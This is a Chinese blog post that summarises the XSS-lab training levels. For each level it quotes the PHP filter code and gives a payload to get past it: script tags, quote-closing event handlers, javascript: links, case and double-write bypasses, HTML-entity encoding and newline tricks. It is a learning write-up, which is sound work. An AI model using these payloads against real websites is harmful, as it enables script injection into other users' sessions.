xss lab注入

XSS-lab简单总结

1.<script>alert(1)</script>

2.</h2><script>alert(1)</script> 先闭合标签

3.<input name=keyword value='".htmlspecialchars($str)."'>

闭合引号,绕过html实体化,避免<>的出现。

payload: ' onclick='alert(1)' 单引号闭合

4.$str2=str_replace(">","",$str);

将<>替换为空,可以用上面的方式

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

两个过滤,用javascript伪协议

"><a href="javascript:alert(1)">a</a>

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

没有转小写,用大写绕过
"><SCRIPT>alert(1)</SCRIPT>

转小写,替换为空,用双写绕过
"><SCRSCRIPTIPT>alert(1)</SCRSCRIPTIPT>

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

用html实体编码。

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1) //javascript:alert(1)

多加了个这个if(false===strpos($str7,'http://')),检测这句话里面有没有http://

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(http://)

" onclick="alert(1)" type=button
" onmouseover= "alert(1)"
" accesskey="x" onclick="alert(1)" type="text"

user-agent,cookie,http_server,都可以是注入点

span class="ng-include:'.htmlspecialchars($str).'"></span>

ng_include 是angularjs的用法 ,包含文件

<img%0asrc=""%0aonerror="alert(1)">//onerror

%0a 替代 空格

14.flash xss
https://www.secpulse.com/archives/44299.html

posted @ 2020-06-11 12:31  vstar_o  阅读(463)  评论(0编辑  收藏  举报